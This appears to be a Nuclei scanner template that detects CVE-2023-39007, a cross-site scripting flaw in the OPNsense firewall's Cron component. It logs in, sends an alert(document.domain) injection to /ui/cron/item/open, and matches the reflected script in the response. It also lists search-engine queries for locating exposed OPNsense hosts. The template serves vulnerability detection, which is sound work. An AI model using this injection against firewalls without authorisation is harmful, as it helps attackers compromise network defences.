id: CVE-2023-39007 info: name: OPNsense - Cross-Site Scripting to RCE author: ritikchaddha severity: critical description: | There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php. impact: | Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security. remediation: | Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController. reference: - https://logicaltrust.net/blog/2023/08/opnsense.html - https://nvd.nist.gov/vuln/detail/CVE-2023-39007 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H cvss-score: 9.6 cve-id: CVE-2023-39007 cwe-id: CWE-79 epss-score: 0.02315 epss-percentile: 0.81613 cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:* metadata: max-request: 3 vendor: opnsense product: opnsense shodan-query: - title:"OPNsense" - http.title:"opnsense" fofa-query: title="opnsense" google-query: intitle:"opnsense" tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1 - | GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_3 words: - "openDialog('0'+alert(document.domain)+''" - type: word part: header_3 words: - "text/html" - type: status status: - 200 extractors: - type: regex name: para part: body group: 1 regex: - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="' internal: true - type: regex name: value part: body group: 2 regex: - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="' internal: true # digest: 4b0a00483046022100ed95ee7f21daa07d6cc5c0735b961b8c89915d732997ff9551b1a324542365d0022100a9015b2a53eb3ff43d519a20f56cd39b5821e24a2feaa43a5c894b5712052ead:922c64590222798bb761d5b6d8e72950